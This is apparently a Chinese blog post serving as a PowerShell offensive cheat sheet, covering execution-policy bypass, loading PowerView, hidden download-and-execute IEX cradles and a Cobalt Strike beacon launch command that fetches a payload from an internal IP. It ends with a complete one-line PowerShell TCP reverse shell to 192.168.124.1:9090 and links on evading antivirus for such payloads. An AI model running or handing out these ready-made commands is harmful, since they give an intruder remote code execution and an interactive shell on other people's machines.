CATALOG

  • 1.模块导入
  • 2.查看模块对应命令
  • 3.常见参数概述
  • 4.绕过powershell执行策略
  • 5.powershell下载远程数据
  • 6.常见操作
  • 7.powershell函数传参相关
  • 8.数据筛选
  • 补充:powershell上线免杀
  • 补充:powershell下载rsat
  • 补充:反弹powershell
  • 9.附录参考

1.模块导入

Import-Module Recon
Import-Module -name .\powerview.ps1

2.查看模块对应命令

Get-Command -Module name
powershell  echo 12;#3

powershell截断符是“;#”。

3.常见参数概述

powershell.exe -ExecutionPolicy bypass -noprofile IEX(’’)
上述命令意思为
1、将执行策略设置为绕过,这样可以执行powershell脚本文件。
2、不加载配置文件
3、隐藏窗口
4、Iex命令为invove-expression的别名:接收一个字符串作为要运行的完整命令(包括参数)。

名称 用法
-Command 需要执行的代码
-ExecutionPolicy 设置默认的执行策略,一般使用Bypass
-EncodedCommand 执行Base64代码,可在powershell混淆的时候用
-File 这是需要执行的脚本名
-NoExit 执行完成命令之后不会立即退出,比如我们执行powerhsell whoami 执行完成之后会推出我们的PS会话,如果我们加上这个参数,运行完之后还是会继续停留在PS的界面
-NoLogo 不输出PS的Banner信息
-Noninteractive 不开启交互式的会话
-NoProfile 不使用当前用户使用的配置文件
-Sta 以单线程模式启动ps
-Version 设置用什么版本去执行代码
-WindowStyle 设置Powershell的执行窗口,有下面的参数Normal, Minimized, Maximized, or Hidden,一般使用hidden

ep bypass= -ExecutionPolicy bypass
IEX(‘echo hello’) = invoke-expression(‘echo hello’)
-WindowStyle hidden

4.绕过powershell执行策略

cmd中:powershell -ep bypass
powershell中:Set-ExecutionPolicy Bypass -Scope Process
当有administrator权限当时候可以直接使用Set-ExecutionPolicy Unrestricted
也可以参考下面的链接
绕过powershell执行策略的方法

5.powershell下载远程数据

powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe")
powershell (new-object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1','C:\Users\Administrator\Desktop\12.ps1')

6.常见操作

  1. 绕过本地权限执行文件
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
  1. 本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
  1. 用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
  1. cs上线命令
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.250.3:8022/a'))"

#powershell上线命令可以简化成以下形式,删除了两个括号和两个双引号

powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://172.16.250.3:8022/a')
  1. 如果只能执行cmd,那么通过下面的命令来执行powershell脚本里面的函数。
powershell -exec bypass "Import-Module C:\Users\zhangsan\Desktop\powerview.ps1;Get-NetDomain"

  1. 筛选
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |Where-Object{$_.Name -like "MM*"}

筛选Name字段中含有以MM开头的所有值。

7.powershell函数传参相关

但我们要传输powershell命令的时候,如果参数重含有单引号" ’ ",这时候我们需要转义它,转义的方式为在它前面再加一个单引号。且powershell函数传参数的时候,尽量中单引号扩起来,系统只会将两个单引号之间的内容当作字符串传输,而不是当作命令,进而降低了出错概率。

8.数据筛选

我们创建一个文件,内容如下:


筛选包含数字3的项:

$_是必须加的,它的作用是接收管道符传过来的值。

补充:powershell上线免杀


https://f5.pm/go-52159.html
https://www.freebuf.com/articles/system/249449.html
https://www.cnblogs.com/linuxsec/articles/7384582.html
https://y4er.com/post/cobalt-strike-powershell-bypass/

补充:powershell下载rsat

需要管理员权限

Get-WindowsCapability -Name RSAT* -Online | Select-Object -Property Name, State
Add-WindowsCapability -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 –Online;whoami
Add-WindowsCapability -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 -Online

如何在windows中安装rsat
如何在不同的Windows版本上安装组策略管理控制台

补充:反弹powershell

powershell  -c "$client = New-Object Net.Sockets.TCPClient('192.168.124.1',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"

9.附录参考

powershell攻击教程
Powershell对象条件查询筛选

powershell使用总结相关推荐

  1. 不一样的命令行 – Windows PowerShell简介

    引子 一直很羡慕Linux的命令提示符(当然他们叫Shell).正则表达式,管道,各种神奇的命令,组合起来就能高效完成很多复杂的任务.效率实在是高.流了n年的哈喇子以后,终于有幸用上了Win7,邂逅了 ...

  2. PowerShell 2.0 实践(十二)管理 SQL Server 2008 R2(1)

    DBA可以使用的工具很多,对于SQL Server来说,有查询分析器.事件探查器.命令行工具等,其中SQL语句是重中之重,但是PowerShell的出现使得DBA又多了一种选择. 测试脚本下载 本系列 ...

  3. linux远程开机windows,从Linux到Windows的PowerShell远程处理

    原标题:从Linux到Windows的PowerShell远程处理 前提条件 1)后期利用期间可以通过目标NTLM身份验证 2)重启WinRM服务 3)使用此NTLM支持PowerShell Dock ...

  4. 在win7怎么使用linux指令,Win7系统的Powershell命令怎么使用

    Win7系统的Powershell命令怎么使用 命令提示符的使用频率虽然不高,但它在系统和网络管理,维护工作中起着重要的作用.在微软最新的Windows7系统中也为我们带来了cmd的升级版Window ...

  5. powershell真香

    写毕设开题报告,从PDF复制后会有多余空格,一个一个手动删除略显麻烦. delete.cpp #include<iostream> #include<cstdio> #incl ...

  6. 使用Powershell批量为Azure资源添加Tags

    在使用Azure的过程中,我们可以将Tags应用于Azure资源,从而可以将元数据逻辑的组织到某些分类中.每个Tags由名称和值组成.例如,我们可以将名称"Environment" ...

  7. PowerShell 导入 SQL Server 的 PS 模块

    接触过UNIX或者Linux 的朋友都知道此类系统有着功能强大.无所不能的壳程序,称之为Shell.微软公司于2006年第四季度正式发布PowerShell,它的出现标志着, 微软公司向服务器领域迈出 ...

  8. Windows PowerShell 2.0语言之字面类型系统

    PowerShell语言允许通过一个字面类型(type Literals)来访问类型,它是用括号抬起的类型名,返回.NET底层的System.Type对象实例,如: PS C:\> [Syste ...

  9. Windows脚本初探之PowerShell流程控制if

    Windows Powershell中if语句为可以为一下三种形式,只用表达式为True时才执行相应花括号中的命令语句/块: 示例1: 1 2 3 4 if (表达式1)   {     命令语句/块 ...

  10. 《Windows PowerShell实战指南(第2版)》——3.4 使用帮助找命令

    本节书摘来自异步社区<Windows PowerShell实战指南(第2版)>一书中的第3章,第3.4节,作者:[美]Don Jones(道·琼斯) , Jeffery Hicks(杰弗瑞 ...

最新文章

  1. NSURLSession简介与入门
  2. 使用MapReduce实现join操作
  3. 31 天重构学习笔记索引
  4. 诺依曼原理中计算机由运算器,冯诺依曼原理与计算机的基本组成
  5. OSError: Could not find kaggle.json
  6. C# lock 语法糖实现原理--《.NET Core 底层入门》之自旋锁,互斥锁,混合锁,读写锁...
  7. path manipulation怎么解决_干货!终于!解决macOS下pyenv安装python3.8.2缺少tkinter模块的问题!...
  8. Forrester云原生开发者洞察白皮书,低代码概念缔造者又提出新的开发范式
  9. spark与storm的对比
  10. 访问受限 诺基亚禁止Navifirm获取固件(图)
  11. js中contains()方法的了解
  12. 【STL容器讲解—栈队列】
  13. 数据寻址——偏移寻址
  14. python谁的教程好贴吧_python深挖65万人的明星贴吧,探究上万个帖子的秘密
  15. 第三届“传智杯”全国大学生IT技能大赛(初赛B组)题解
  16. ajax上传图片到又拍云,又拍云存储(UpYun)的.NET Core填坑
  17. 动态代理ip的测试步骤有哪些?
  18. Chrome浏览器的crash问题
  19. 括号匹配,实现简单计算器(加减乘除,小括号)
  20. C: integer overflow,隐式类型转换/整数加法溢出 解决方法示例;check_add_overflow;__builtin_add_overflow

热门文章

  1. PID控制算法 无人机的精准悬停 机器人和机械臂的运动系统 飞机和火箭的姿态调整
  2. Markdown 图片自动上传
  3. 【python安装】其他支持库的安装
  4. oracle 视图怎样修改,ORACLE视图的修改
  5. 【Python数据分析学习笔记Day3】(三)数据分析工具pandas,数据清洗,聚类K-Means
  6. 分布式中间件──断路器
  7. Centos 8 常用指令汇总
  8. 实现幸运抽奖——会员号的百位数字等于产生的随机数字即为幸运会员,
  9. 进制之间的转换和解释
  10. 通俗理解数学的七大难题及希尔伯特23个数学问题